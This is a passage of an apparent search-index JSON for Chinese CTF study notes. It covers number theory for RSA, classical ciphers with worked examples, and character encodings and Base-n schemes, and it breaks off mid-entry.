<li>\u7279\u70b9\uff1a\u628a\u8f93\u5165\u5185\u5bb9\u5355\u5411\u6620\u5c04\u5230\u4e00\u4e2a\u77ed\u7684\u6458\u8981\u4e0a</li> <li>\u5e94\u7528\uff1a\u4e0b\u8f7d\u6587\u4ef6\u5b8c\u6574\u6027\u6821\u9a8c</li> <li>\u4f8b\u5b50\uff1aCRC\uff0cMD5\uff0cSHA\u7cfb\u5217</li> </ul> </li> <li>\u6570\u5b57\u7b7e\u540d\uff08Digital Signature\uff09<ul> <li>\u5e94\u7528\uff1a\u5bf9\u6d88\u606f\u8fdb\u884c\u7b7e\u540d\uff08\u4e5f\u662f\u4e00\u4e2a\u77ed\u7684\u6d88\u606f\uff09\uff0c\u4ee5\u9632\u6d88\u606f\u7684\u5192\u540d\u4f2a\u9020\u6216\u7be1\u6539</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Crypto/#_5","title":"\u6570\u5b66\u57fa\u7840","text":""},{"location":"NOTE/CTF/Crypto/#oi-wiki","title":"OI Wiki \u6570\u8bba\u90e8\u5206","text":""},{"location":"NOTE/CTF/Crypto/#a-mid-b","title":"\u6574\u9664\uff1a$ a \\mid b $","text":"<ul> <li>\\(\\forall a \\in \\mathbb{Z}~, 1 \\mid a\\) \uff1b\u82e5 \\(a \\neq 0\\)\uff0c\u5219 \\(a \\mid 0\\) \u4e14 \\(a \\mid a\\)</li> <li>\u82e5 \\(a \\mid b\\) \u4e14 \\(b \\mid c\\)\uff0c\u5219 \\(a \\mid c\\)</li> <li>\u82e5 \\(a \\mid b\\) \u4e14 \\(a \\mid c\\)\uff0c\u5219 \\(a \\mid (sb + tc)\\)\uff0c\u5176\u4e2d \\(s, t \\in \\mathbb{Z}\\)</li> </ul>"},{"location":"NOTE/CTF/Crypto/#greatest-common-divisor-gcd-gcda-b","title":"\u6700\u5927\u516c\u56e0\u6570\uff08Greatest Common Divisor, GCD\uff09\uff1a$ \\gcd(a, b) $","text":"<ul> <li>\\(\\gcd(a, b) = \\gcd(b, a)\\)</li> <li>\\(\\gcd(a, b) = \\gcd(a, b - a)\\)</li> <li>\\(\\gcd(a, b) = \\gcd(a, b \\mod a)\\)</li> </ul> <p>\u7279\u522b\u7684\uff0c\u5f53 \\(a\\)\u3001\\(b\\)\u4e92\u7d20\uff0c\u5373 $ \\gcd(a, b) = 1 $\u65f6\uff0c\u4e00\u5b9a\u5b58\u5728\u6574\u6570 \\(x, y\\) \u4f7f\u5f97 \\(ax + by = 1\\)</p>"},{"location":"NOTE/CTF/Crypto/#_6","title":"\u7b97\u6570\u57fa\u672c\u5b9a\u7406","text":"<p>\u4efb\u4f55\u4e00\u4e2a\u5927\u4e8e \\(1\\) \u7684\u81ea\u7136\u6570 \\(n\\) \u90fd\u53ef\u4ee5\u552f\u4e00\u5730\u5206\u89e3\u4e3a\u82e5\u5e72\u4e2a\u7d20\u6570\u7684\u4e58\u79ef $$ n = p_1^{a_1} \\times p_2^{a_2} \\cdots  \\times p_k^{a_k} $$ \u5176\u4e2d \\(p_1, p_2, \\cdots, p_k\\) \u662f\u7d20\u6570\uff0c\\(a_1, a_2, \\cdots, a_k\\) \u662f\u6b63\u6574\u6570</p>"},{"location":"NOTE/CTF/Crypto/#_7","title":"\u540c\u4f59","text":"<p>\\(a,b\\)\u5bf9\u4e8e\u6a21\\(n\\)\u540c\u4f59\uff1a\\(a \\equiv b \\pmod{n}\\)</p> <p>\u8bbe \\(a, b, c, d, n\\)\u5747\u4e3a\u6574\u6570\uff0c\u4e14 \\(n \\neq 0\\)\uff0c\u5219\u6709\uff1a</p> <ul> <li>$ n \\mid a \\Leftrightarrow a \\equiv b \\pmod{n} $</li> <li>$ a \\equiv a \\pmod{n} $</li> <li>\u82e5 \\(a \\equiv b \\pmod{n}\\)\uff0c\\(c \\equiv d \\pmod{n}\\)\uff0c\u5219 \\(a \\pm c \\equiv b \\pm d \\pmod{n}\\)\uff0c\\(ac \\equiv bd \\pmod{n}\\)</li> <li>\u82e5 \\(a \\equiv b \\pmod{n}\\)\uff0c\u5219 \\(a^k \\equiv b^k \\pmod{n}\\)</li> <li>\u82e5 \\(a \\equiv b \\pmod{n}\\)\uff0c\\(c \\equiv d \\pmod{n}\\)\uff0c\u5219 \\(a^c \\equiv b^d \\pmod{n}\\)</li> <li>\u82e5 \\(a + b \\equiv 0 \\pmod{n}\\)\uff0c\u5219\u79f0 \\(a\\) \u4e0e \\(b\\) \u4e92\u4e3a\u52a0\u6cd5\u6a21 \\(n\\) \u9006\u5143</li> <li>\u82e5 \\(ab \\equiv 1 \\pmod{n}\\)\uff0c\u5219\u79f0 \\(a\\) \u4e0e \\(b\\) \u4e92\u4e3a\u4e58\u6cd5\u6a21 \\(n\\) \u9006\u5143\u3002\\(a\\) \u7684\u4e58\u6cd5\u6a21 \\(n\\) \u9006\u5143\u8bb0\u4e3a \\(a^{-1}\\) \uff0c\\(a\\) \u6709\u4e58\u6cd5\u6a21 \\(n\\) \u9006\u5143\u5f53\u4e14\u4ec5\u5f53 \\(\\gcd(a, n) = 1\\)</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_8","title":"\u4e2d\u56fd\u5269\u4f59\u5b9a\u7406","text":"<p>\u82e5 \\(m_1, m_2, \\cdots, m_k\\) \u662f\u4e24\u4e24\u4e92\u8d28\u7684\u6b63\u6574\u6570\uff0c\u5219\u5bf9\u4e8e\u4efb\u610f\u7684\u6574\u6570 \\(a_1, a_2, \\cdots, a_k\\)\uff0c\u540c\u4f59\u65b9\u7a0b\u7ec4 \\[ \\begin{cases}     x \\equiv a_1 \\pmod{m_1} \\\\     x \\equiv a_2 \\pmod{m_2} \\\\     \\cdots \\\\     x \\equiv a_k \\pmod{m_k} \\end{cases} \\] \u5bf9\u6a21 \\(m = m_{1}m_{1} \\cdots m_{1}\\) \u6709\u552f\u4e00\u89e3 \\(x\\)\u3002</p> <p>\u8bbe \\(M_i = \\frac{m}{m_i}\\)\uff0c\u5219 \\(M_i\\) \u4e0e \\(m_i\\) \u4e92\u8d28\uff0c\u5b58\u5728\u6574\u6570 \\(N_i\\) \u4f7f\u5f97 \\(M_iN_i \\equiv 1 \\pmod{m_i}\\)\uff08\\(N_i\\) \u4e3a \\(M_i\\) \u7684\u6a21 \\(m_i\\) \u4e58\u6cd5\u9006\u5143\uff09\uff0c\u5219 $$ x = \\sum_{i=1}^{k} a_iM_iN_i $$</p>"},{"location":"NOTE/CTF/Crypto/#_9","title":"\u6b27\u62c9\u51fd\u6570","text":"<p>\u5bf9\u4e8e\u6b63\u6574\u6570 \\(n\\)\uff0c\u6b27\u62c9\u51fd\u6570 \\(\\varphi(n)\\) \u5b9a\u4e49\u4e3a\u5c0f\u4e8e\u7b49\u4e8e \\(n\\) \u7684\u6b63\u6574\u6570\u4e2d\u4e0e \\(n\\) \u4e92\u8d28\u7684\u6570\u7684\u4e2a\u6570</p> <ul> <li>\u82e5 \\(n = p_1^{a_1} \\times p_2^{a_2} \\cdots  \\times p_k^{a_k}\\)\uff0c\u5219 \\(\\varphi(n) = n \\times (1 - \\frac{1}{p_1}) \\times (1 - \\frac{1}{p_2}) \\cdots (1 - \\frac{1}{p_k})\\)</li> <li>\u82e5 \\(n = p^a\\)\uff0c\u5219 \\(\\varphi(n) = p^a - p^{a-1} = p^{a-1}(p-1)\\)</li> <li>\u82e5 \\(n = p \\times q\\)\uff0c\u4e14 \\(p, q\\) \u4e92\u8d28\uff0c\u5219 \\(\\varphi(n) = \\varphi(p) \\times \\varphi(q)\\)</li> <li>\u82e5 \\(n = p \\times q\\)\uff0c\u4e14 \\(p, q\\) \u4e3a\u4e0d\u540c\u7684\u8d28\u6570\uff0c\u5219 \\(\\varphi(n) = (p-1)(q-1) = \\varphi(p) \\times \\varphi(q)\\)</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_10","title":"\u6b27\u62c9\u5b9a\u7406","text":"<p>\u82e5 \\(a, n\\) \u4e92\u8d28\uff0c\u5219 \\(a^{\\varphi(n)} \\equiv 1 \\pmod{n}\\)</p> <p>\u8d39\u9a6c\u5c0f\u5b9a\u7406\uff08\u6b27\u62c9\u5b9a\u7406\u7684\u7279\u4f8b\uff09\uff1a\u5f53 \\(n\\) \u4e3a\u8d28\u6570\u65f6\uff0c\\(\\varphi(n) = n - 1\\)\uff0c\u5373 \\(a^{n-1} \\equiv 1 \\pmod{n}\\)</p>"},{"location":"NOTE/CTF/Crypto/#rsa","title":"RSA\u7b97\u6cd5","text":"<ul> <li>\u9009\u62e9\u4e24\u4e2a\u5927\u8d28\u6570 \\(p, q\\)\uff0c\u8ba1\u7b97 \\(n = p \\times q\\)\uff0c\\(\\varphi(n) = (p-1)(q-1)\\)</li> <li>\u9009\u62e9 \\(e\\)\uff0c\u4f7f\u5f97 \\(1 &lt; e &lt; \\varphi(n)\\)\uff0c\u4e14 \\(\\gcd(e, \\varphi(n)) = 1\\)</li> <li>\u8ba1\u7b97 \\(d\\)\uff0c\u4f7f\u5f97 \\(d \\equiv e^{-1} \\pmod{\\varphi(n)}\\) \uff0c\u5373 \\(d \\times e \\equiv 1 \\pmod{\\varphi(n)}\\)</li> <li>\u4e8e\u662f\u5f97\u5230\u516c\u94a5\u4e3a \\((e, n)\\)\uff0c\u79c1\u94a5\u4e3a \\((d, n)\\)\uff0c \u8bbe\u660e\u6587\u4e3a \\(m\\)\uff0c\u5bc6\u6587\u4e3a \\(c\\)\uff0c\u82e5\u6d88\u606f\u592a\u957f\uff0c\u53ef\u5c06\u6d88\u606f\u5206\u6bb5\u52a0\u5bc6<ul> <li>\u52a0\u5bc6\uff1a\\(c = m^e \\mod n\\)</li> <li>\u89e3\u5bc6\uff1a\\(m = c^d \\mod n\\)</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Crypto/#_11","title":"\u53e4\u5178\u5bc6\u7801","text":"<ul> <li>\u4ee3\u6362\uff08substitution\uff09\u5bc6\u7801\u2014\u2014\u7528\u65b0\u7684\u66ff\u6362\u539f\u5148\u7684\u5185\u5bb9</li> <li>\u7f6e\u6362\uff08permutation\uff09\u5bc6\u7801\u2014\u2014\u6253\u4e71\u539f\u5148\u7684\u987a\u5e8f</li> <li>Hill\u5bc6\u7801</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_12","title":"\u51ef\u6492\u5bc6\u7801","text":"<p>\u53c8\u79f0\u52a0\u6cd5\u5bc6\u7801\uff0c\u662f\u4e00\u79cd\u6700\u7b80\u5355\u7684\u66ff\u6362\u5bc6\u7801\uff0c\u662f\u4e00\u79cd\u4f7f\u7528\u6052\u5b9a\u504f\u79fb\u91cf\u7684\u66ff\u6362\u5bc6\u7801\uff0c\u5c06\u5b57\u6bcd\u8868\u4e2d\u7684\u6bcf\u4e2a\u5b57\u6bcd\u5faa\u73af\u79fb\u52a8\u56fa\u5b9a\u4f4d\u6570\u5f97\u5230\u5bc6\u6587</p> <ul> <li>\u52a0\u5bc6\uff1a\\(y = \\text{encode}(x) = (x + key) \\mod 26\\)</li> <li>\u89e3\u5bc6\uff1a\\(x = \\text{decode}(y) = (y - key) \\mod 26\\)</li> <li>\u7834\u89e3\uff1a\u66b4\u529b\u679a\u4e3e\u89c2\u5bdf\u7ed3\u679c\uff08\u5e38\u89c1\u7f16\u7801ROT13\uff0c\u53d6\\(key = 13\\)\uff09</li> </ul> <p>\u4e00\u822c\u7684\u51ef\u6492\u52a0\u5bc6\u53ea\u4f5c\u7528\u4e8e26\u4e2a\u5b57\u6bcd\uff0c\u4f46\u4e5f\u53ef\u62d3\u5c55\u5230ASCII\u7801\u8868\u4e0a\uff08\u5e38\u89c1\u7f16\u7801ROT47\uff0c\u5c0633~126\u4f5c\u4e3a\u5b57\u6bcd\u8868\uff0c\u53d6\\(key = 47\\)\uff09</p>"},{"location":"NOTE/CTF/Crypto/#_13","title":"\u4eff\u5c04\u5bc6\u7801","text":"<p>\u4eff\u5c04\u5bc6\u7801\u662f\u4e00\u79cd\u7ebf\u6027\u66ff\u6362\u5bc6\u7801\uff0c\u7c7b\u4f3c\u4e8e\u51ef\u6492\u52a0\u5bc6\uff0c\u4f46\u4e0d\u6b62\u8fdb\u884c\u52a0\u6cd5</p> <ul> <li>\u52a0\u5bc6 \\(y = \\text{encoude}(x) = (x \\times key_1 + key_2) \\mod 26\\)</li> <li>\u89e3\u5bc6 \\(x = \\text{decode}(y) = (y - key_2) \\times key_1^{-1}  \\mod 26\\)</li> <li>\u7834\u89e3\uff1a\u5355\u8868\u5bc6\u7801\u52a0\u5bc6\u524d\u540e\u7684\u5b57\u7b26\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\uff0c\u4e0d\u4f1a\u7834\u574f\u7edf\u8ba1\u89c4\u5f8b\uff0c\u6839\u636e\u82f1\u6587\u6587\u672c\u4e2d\u5b57\u6bcd\u51fa\u73b0\u7684\u9891\u7387\u4ee5\u53ca\u4e00\u4e9b\u5e38\u89c1\u5355\u8bcd\u5373\u53ef\u8f7b\u677e\u7834\u89e3(\u5982<code>the</code>, <code>and</code>, <code>you</code> <code>a</code>\u7b49)</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_14","title":"\u7ef4\u5409\u5c3c\u4e9a\u5bc6\u7801","text":"<p>\u4e00\u79cd\u591a\u8868\u52a0\u5bc6\u7684\u66ff\u6362\u5bc6\u7801\uff0c\u5bc6\u94a5\u4efb\u610f\u957f\uff0c\u5e76\u4e14\u4ee5\u5faa\u73af\u4f7f\u7528\uff0c\u7b2c \\(i\\) \u4e2a\u5b57\u7b26\u7528\u7b2c \\(i\\) \u4e2a\u5bc6\u94a5\u8fdb\u884c\u504f\u79fb</p> <ul> <li>\u52a0\u5bc6\uff1a\\(y_i = \\text{encode}(x_i) = (x_i + key_i) \\mod 26\\)</li> <li>\u89e3\u5bc6\uff1a\\(x_i = \\text{decode}(y_i) = (y_i - key_i) \\mod 26\\)</li> </ul> <p></p> <p>\u4f8b\uff1a\u660e\u6587CRANE\uff0c\u5bc6\u94a5TONY</p> <ul> <li>(C, T) \\(\\rightarrow\\) V</li> <li>(R, O) \\(\\rightarrow\\) F</li> <li>(A, N) \\(\\rightarrow\\) N</li> <li>(N, Y) \\(\\rightarrow\\) L</li> <li>(E, T) \\(\\rightarrow\\) X</li> </ul> <p>\u7834\u89e3\uff1a\u786e\u5b9a\u5bc6\u94a5\u957f\u5ea6 \\(\\rightarrow\\) \u5206\u7ec4\u7206\u7834\u52a0\u6cd5\u5bc6\u7801 \\(\\rightarrow\\) \u5f97\u5230\u5bc6\u94a5</p>"},{"location":"NOTE/CTF/Crypto/#_15","title":"\u7f6e\u6362\u5bc6\u7801","text":"<p>\u52a0\u5bc6\u53d8\u6362\u4f7f\u5f97\u4fe1\u606f\u5143\u7d20\u53ea\u6709\u4f4d\u7f6e\u53d8\u5316\u800c\u5185\u5bb9\u4e0d\u53d8\uff0c\u6bd4\u5982\u5bf9\u4e8e\u4e00\u79cd\u7f6e\u6362\u5bc6\u7801\uff0c\u5176\u7f6e\u6362\u8868\u4e3a</p> X 1 2 3 4 5 6 E(X) 3 5 1 6 4 2 <p>\u5bf9\u4e8e\u660e\u6587\\(\\texttt{crypto basic}\\)\uff0c\u5148\u8fdb\u884c\u5206\u7ec4\uff08\u4e0d\u8db3\u9700\u586b\u5145\uff09\uff1a\\(\\texttt{[crypto]}\\)\u548c\\(\\texttt{[ basic]}\\)\uff0c\u7136\u540e\u5bf9\u6bcf\u4e00\u7ec4\u8fdb\u884c\u7f6e\u6362\uff1a \u5bf9\u6bcf\u4e00\u7ec4\u8fdb\u884c\u7f6e\u6362\uff1a \\(\\texttt{[crypto]} \\rightarrow \\texttt{[yoctrp]}\\) \\(\\texttt{[ basic]} \\rightarrow \\texttt{[ac ibs]}\\) \u6700\u7ec8\u5bc6\u6587\u5c31\u662f\\(\\texttt{yoctrpac ibs}\\)</p>"},{"location":"NOTE/CTF/Crypto/#_16","title":"\u6805\u680f\u5bc6\u7801","text":"<p>\u6805\u680f\u5bc6\u7801\u4e5f\u662f\u4e00\u79cd\u7f6e\u6362\u5bc6\u7801\uff0c\u5176\u5c06\u660e\u6587\u5206\u5272\u6210k\u884c\uff0c\u7136\u540e\u91cd\u65b0\u62fc\u63a5\uff0c\u8fd9\u91cck\u5373\u4e3a\u52a0\u5bc6\u7684\u5bc6\u94a5</p> <p>\u5bf9\u4e8e\u660e\u6587\\(\\texttt{crypto basic}\\),\u53d6 \\(k=3\\) \uff0c\u5c06\u660e\u6587\u5206\u5272\u6210\u4e09\u884c</p> c p s r t b i y o a c <p>\u56e0\u6b64\u5f97\u5230\u7684\u5bc6\u6587\u4e3a\\(\\texttt{cp srtbiyoac}\\)</p>"},{"location":"NOTE/CTF/Crypto/#hill","title":"Hill\u5bc6\u7801","text":"<p>\u5e0c\u5c14\u5bc6\u7801\u662f\u8fd0\u7528\u57fa\u672c\u7ebf\u6027\u4ee3\u6570\u539f\u7406\u5b9e\u73b0\u7684\u66ff\u6362\u5bc6\u7801</p> <p>\u6bcf\u4e2a\u5b57\u6bcd\u5f53\u4f5c26\u8fdb\u5236\u6570\u5b57\uff0c\u5c06\u4e00\u4e32\u5b57\u6bcd\u5f53\u6210 \\(n\\) \u7ef4\u5411\u91cf\uff0c\u4e0e\u4e00\u4e2a \\(n \\times n\\) \u7684\u77e9\u9635\u76f8\u4e58\uff0c\u518d\u5c06\u5f97\u51fa\u7684\u7ed3\u679c mod 26\uff0c\u5176\u4e2d\u8fd9\u4e2a \\(n \\times n\\) \u77e9\u9635\u5c31\u662f\u5bc6\u94a5</p> <p>\u6bd4\u5982\u660e\u6587 \\(\\texttt{IT}\\) \uff0c\u8f6c\u6362\u621026\u8fdb\u5236\u4e3a$P = \\begin{bmatrix} 9 &amp; 20 \\end{bmatrix} $\uff0c\u52a0\u5bc6\u5bc6\u94a5 $ K = \\begin{bmatrix} 11 &amp; 8 \\\\ 3 &amp; 7 \\end{bmatrix} $</p> <p>\u5bc6\u6587\u5373\u4e3a$ C = P \\times K = \\begin{bmatrix} 159 &amp; 212 \\end{bmatrix}\\mod 26 = \\begin{bmatrix} 3 &amp; 4 \\end{bmatrix} $\uff0c\u8f6c\u56de\u5b57\u6bcd\u5373 $\\texttt{CD} $ \u89e3\u5bc6\u53ea\u9700\u8981\u8ba1\u7b97 \\(K\\) \u7684\u9006\u77e9\u9635\u5373\u53ef\uff0c$ P = C \\times K^{-1} = \\begin{bmatrix} 3 &amp; 4 \\end{bmatrix} \\times \\begin{bmatrix} 7 &amp; 18 \\\\ 23 &amp; 11 \\end{bmatrix} = \\begin{bmatrix} 9 &amp; 20 \\end{bmatrix} $\uff0c\u518d\u8f6c\u56de\u5b57\u6bcd\u5373 $\\texttt{IT} $</p>"},{"location":"NOTE/CTF/Misc/","title":"Misc","text":"<p> \u7ea6 6316 \u4e2a\u5b57  9 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 22 \u5206\u949f</p>"},{"location":"NOTE/CTF/Misc/#7-4-lec3-misc","title":"7-4 lec3-Misc","text":"<p>\u6388\u8bfe\uff1agoduck </p>"},{"location":"NOTE/CTF/Misc/#misc","title":"\u4ec0\u4e48\u662fMisc","text":"<ul> <li>\u6742\u9879 ALL-PWN-WEB-CRYPTO - REVERSE</li> <li>\u9690\u5199\u3001\u53d6\u8bc1\u3001OSINT\uff08\u4fe1\u606f\u641c\u96c6\uff09\u3001PPC\uff08\u7f16\u7a0b\u7c7b\uff09 \u2014\u2014\u4f20\u7edf misc \u9898</li> <li>\u6e38\u620f\u7c7b\u9898\u76ee\uff08\u5927\u6982\u4e5f\u7b97 PPC\uff09\u3001\u5de5\u5177\u8fd0\u7528\u7c7b\u9898\u76ee</li> <li>\u7f16\u89e3\u7801\u3001\u53e4\u5178\u5bc6\u7801 \u2014\u2014\u4e0d\u90a3\u4e48 crypto \u7684 crypto</li> <li>\u7f51\u7edc\u89e3\u8c1c\u3001\u7f51\u7ad9\u4ee3\u7801\u5ba1\u8ba1 \u2014\u2014\u4e0d\u90a3\u4e48 web \u7684 web</li> <li>\u4ee3\u7801\u5ba1\u8ba1\u3001\u6c99\u7bb1\u9003\u9038 \u2014\u2014\u4e0d\u90a3\u4e48 binary \u7684 binary</li> <li>Blockchain\u3001IoT\u3001AI \u2014\u2014\u65b0\u5174\u7c7b\u522b\u9898\u76ee</li> </ul>"},{"location":"NOTE/CTF/Misc/#_1","title":"\u7f16\u7801\u57fa\u7840","text":"<ul> <li>\u4e00\u5207\u4fe1\u606f\u5728\u8ba1\u7b97\u673a\u770b\u6765\u90fd\u662f 0 \u548c 1<ul> <li>\u7f16\u89e3\u7801 / \u52a0\u89e3\u5bc6 / \u54c8\u5e0c\u90fd\u662f\u5728 01 \u4e32\u4e4b\u95f4\u8fdb\u884c\u7684\u53d8\u6362</li> </ul> </li> <li>\u4e3a\u4ec0\u4e48\u4f60\u770b\u89c1\u7684\u8f93\u5165\u8f93\u51fa\u662f\u5b57\u7b26\uff1f<ul> <li>\u8ba1\u7b97\u673a\u901a\u8fc7\u5b57\u7b26\u7f16\u7801\u89c4\u5219\u5c06 01 \u4e32\u8f6c\u6362\u4e3a\u4e86\u53ef\u89c1\u5b57\u7b26</li> </ul> </li> <li>\u4e09\u79cd\u5e38\u89c1\u768401\u4e32\u8f6c\u6362\u65b9\u5f0f      <ul> <li>\u5e38\u7528\u7684\u89e3\u7801\u5de5\u5177 CyperChef </li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_2","title":"\u4e3a\u4ec0\u4e48\u4f1a\u4e71\u7801","text":"<ul> <li> <p>\u5b57\u7b26\u7f16\u7801\uff1a\u4eba\u7c7b\u7406\u89e3\u7684\u5b57\u7b26 &gt; \u8ba1\u7b97\u673a\u7406\u89e3\u7684 01 \u4e32 \u4e4b\u95f4\u7684\u6620\u5c04</p> </li> <li> <p>\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u4e71\u7801\uff1a\u7528\u4e00\u79cd\u5b57\u7b26\u7f16\u7801\u89c4\u5219\u89e3\u8bfb\u53e6\u4e00\u79cd\u5b57\u7b26\u7f16\u7801\u7684 01 \u4e32 \uff1bA0-FF\uff1a\u53ef\u89c1\u5b57\u7b26</p> <ul> <li>\u7279\u70b9\uff1a\u4efb\u4f55\u5b57\u8282\u6d41\u90fd\u53ef\u4ee5\u7528\u5176\u89e3\u7801</li> </ul> </li> <li>\u5229\u7528 Unicode \u5b57\u7b26\u96c6\u7684</li> <li>\u5e38\u89c1\u7684\u5b57\u7b26\u7f16\u7801\uff1a</li> <li>ASCII\uff1a\u4e00\u5171 128 \u4e2a\u9879\uff0c\u5373\u6bcf\u4e2a\u5b57\u7b26\u53ef\u4ee5\u7528\u4e00\u4e2a 7 \u4f4d\u7684 01 \u4e32\u8868\u793a\uff08\u6216\u4e00\u5b57\u8282\uff09<ul> <li>00-1F\uff1a\u63a7\u5236\u5b57\u7b26\uff1b20-7E\uff1a\u53ef\u89c1\u5b57\u7b26\uff1b7F\uff1a\u63a7\u5236\u5b57\u7b26\uff08DEL\uff09</li> </ul> </li> <li>Latin-1\uff08ISO-8859-1\uff09\uff1a\u6269\u5c55\u4e86 ASCII\uff0c\u4e00\u5171 256 \u4e2a\u9879<ul> <li>80-9F\uff1a\u63a7\u5236\u5b57\u7b26\u4e00\u7cfb\u5217\u7f16\u7801</li> <li>UTF-8 / UTF-16 / UTF-32 / UCS</li> </ul> </li> <li>\u4e2d\u56fd\u56fd\u6807\u5b57\u7b26\u96c6\u7cfb\u5217\u7f16\u7801<ul> <li>GB 2312 / GBK / GB 18030-2022</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_3","title":"\u600e\u4e48\u5c31\u4e71\u7801\u4e86","text":"<p>\u51e0\u4e2a\u5b57\u7b26\u96c6\u4e0d\u517c\u5bb9\u7684\u90e8\u5206\u4e92\u76f8\u7f16\u89e3\u7801\uff0c\u5e38\u89c1\u7684\uff1a</p> <ul> <li>\u7528 GBK \u89e3\u7801 UTF-8 \u7f16\u7801\u7684\u6587\u672c</li> <li>\u7528 UTF-8 \u89e3\u7801 GBK \u7f16\u7801\u7684\u6587\u672c</li> <li>\u7528 latin-1 \u89e3\u7801 UTF-8 \u7f16\u7801\u7684\u6587\u672c</li> <li>\u7528 latin-1 \u89e3\u7801 GBK \u7f16\u7801\u7684\u6587\u672c</li> <li>\u5148\u7528 GBK \u89e3\u7801 UTF-8 \u7f16\u7801\u7684\u6587\u672c\uff0c\u518d\u7528 UTF-8 \u89e3\u7801\u524d\u9762\u7684\u7ed3\u679c</li> <li>\u5148\u7528 UTF-8 \u89e3\u7801 GBK \u7f16\u7801\u7684\u6587\u672c\uff0c\u518d\u7528 GBK \u89e3\u7801\u524d\u9762\u7684\u7ed3\u679c</li> <li>\u8fd9\u91cc\u6211\u4eec\u8bf7\u540c\u5b66\u4eec\u81ea\u884c\u7814\u7a76\uff0clab \u4e2d\u4f1a\u7528\u5230\uff08\u540e\u7eed\u8be6\u7ec6\u53d1\u5e03\uff09\uff0c\u51e0\u79cd\u63a8\u8350\u7684\u65b9\u5f0f\uff1a</li> <li>CyberChef\uff0c\u901a\u8fc7 Input \u548c Output \u7a97\u53e3\u7684\u5b57\u7b26\u96c6\u8bbe\u7f6e</li> <li>\u9700\u8981\u6ce8\u610f\uff0cCyberChef \u7684 UTF-8 \u4e0d\u4f1a\u5c06\u9519\u8bef\u89e3\u7801\u66ff\u6362\u4e3a \ufffd\uff08\u975e\u9884\u671f\uff09</li> <li>vscode \u53f3\u4e0b\u89d2\u7684\u7f16\u7801\u65b9\u6848\uff08\u91cd\u65b0\u6253\u5f00 / \u7528\u7f16\u7801\u4fdd\u5b58\uff09</li> <li>\u5fc5\u8981\u7684\u65f6\u5019\u53ef\u4ee5\u4f7f\u7528 python \u6765\u8fdb\u884c\u7f16\u89e3\u7801 / \u8fdb\u5236\u8f6c\u6362\u7b49</li> </ul>"},{"location":"NOTE/CTF/Misc/#_4","title":"\u6469\u65af\u7535\u7801","text":"<p>\u524d\u9762\u8bf4\u5230\u7684\u5b57\u7b26\u7f16\u7801\uff1a01 \u4e32 &gt; \u5b57\u7b26\uff1b\u63a5\u4e0b\u6765\u770b\u53e6\u4e00\u79cd\uff1a\u5b57\u7b26 &gt; \u5b57\u7b26</p> <ul> <li>\u6469\u5c14\u65af\u7535\u7801\uff08Morse Code\uff09\uff1a\u5229\u7528\u70b9\u5212\uff08\u201c\u6ef4\u201d\u7684\u65f6\u95f4\u957f\u77ed\uff09\u6765\u8868\u793a\u5b57\u7b26<ul> <li>\u70b9 \u00b7\uff1a1 \u5355\u4f4d\uff1b\u5212 -\uff1a3 \u5355\u4f4d</li> <li>\u70b9\u5212\u4e4b\u95f4\u95f4\u9694\uff1a1 \u5355\u4f4d\uff1b\u5b57\u7b26\u4e4b\u95f4\u95f4\u9694\uff1a3 \u5355\u4f4d\uff1b\u5355\u8bcd\u4e4b\u95f4\u95f4\u9694\uff1a7 \u5355\u4f4d</li> </ul> </li> <li>\u5b57\u7b26\u96c6\uff1aA-Z\u30010-9\u3001\u6807\u70b9\u7b26\u53f7\uff08.:,; ='/!-_\"()$&amp;@+\uff09\u3001\u4e00\u4e9b\u7535\u7801\u4e13\u7528\u8868\u793a</li> <li>\u8868\u793a\u4e2d\u6587\uff1a\u7535\u7801\u8868\uff08\u4e00\u4e2a\u6c49\u5b57\u5bf9\u5e94\u56db\u4e2a\u6570\u5b57\uff09\uff0c\u6570\u5b57\u4f7f\u7528\u77ed\u7801\u53d1\u9001     </li> </ul>"},{"location":"NOTE/CTF/Misc/#base","title":"BASE\u7f16\u7801","text":"<ul> <li>Base16\uff1a\u5373 16 \u8fdb\u5236\u8868\u793a\u5b57\u8282\u6d41\uff0c\u957f\u5ea6\u7ffb\u500d</li> <li>Base32\uff1a\u6309\u7167 5 bit \u4e00\u7ec4\uff08\u6bcf\u4e2a 0-31\uff09\uff0c\u6309\u7167\u5b57\u7b26\u8868\uff08A-Z2-7\uff09\u6620\u5c04<ul> <li>\u7ed3\u679c\u957f\u5ea6\u5fc5\u987b\u662f 5 \u7684\u500d\u6570\uff0c\u4e0d\u8db3\u7684\u7528 = \u4e0d\u9f50\uff08\u660e\u663e\u7279\u5f81\uff09</li> </ul> </li> <li>Base64\uff1a\u6309\u7167 6 bit \u4e00\u7ec4\uff0c\u6309\u7167\u5b57\u7b26\u8868\u6620\u5c04\uff08\u6700\u5e38\u7528\uff09<ul> <li>\u6807\u51c6\u5b57\u7b26\u8868\uff1aA-Za-z0-9+/</li> <li>\u53e6\u6709\u591a\u79cd\u5e38\u7528\u5b57\u7b26\u8868\uff0c\u5982 URL \u5b89\u5168\u5b57\u7b26\u8868\uff1aA-Za-z0-9-_</li> <li>\u7ed3\u679c\u957f\u5ea6\u5fc5\u987b\u662f 4 \u7684\u500d\u6570\uff0c\u4e0d\u8db3\u7684\u7528 = \u4e0d\u9f50\uff081~2 \u4e2a\uff0c\u660e\u663e\u7279\u5f81\uff09  </li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#base-n","title":"Base-n \u7cfb\u5217\u7684\u672c\u8d28\uff1a","text":"<ul> <li>\u5b57\u8282\u6d41 &gt; \u6574\u6570 &gt; n \u8fdb\u5236 &gt; \u7cfb\u6570\u67e5\u8868   \u6240\u4ee5\u9664\u53bb\u524d\u9762\u89c4\u5219\u7684 16/32/64 \u8fdb\u5236\uff0c\u8fd8\u6709\u4e00\u4e9b\u5176\u4ed6\u7684 Base \u7f16\u7801\uff1a</li> <li>\u5206\u7ec4\uff1a<ul> <li>Base85\uff1a4 \u5b57\u8282\u6574\u6570 &gt; 85 \u8fdb\u5236 &gt; 5 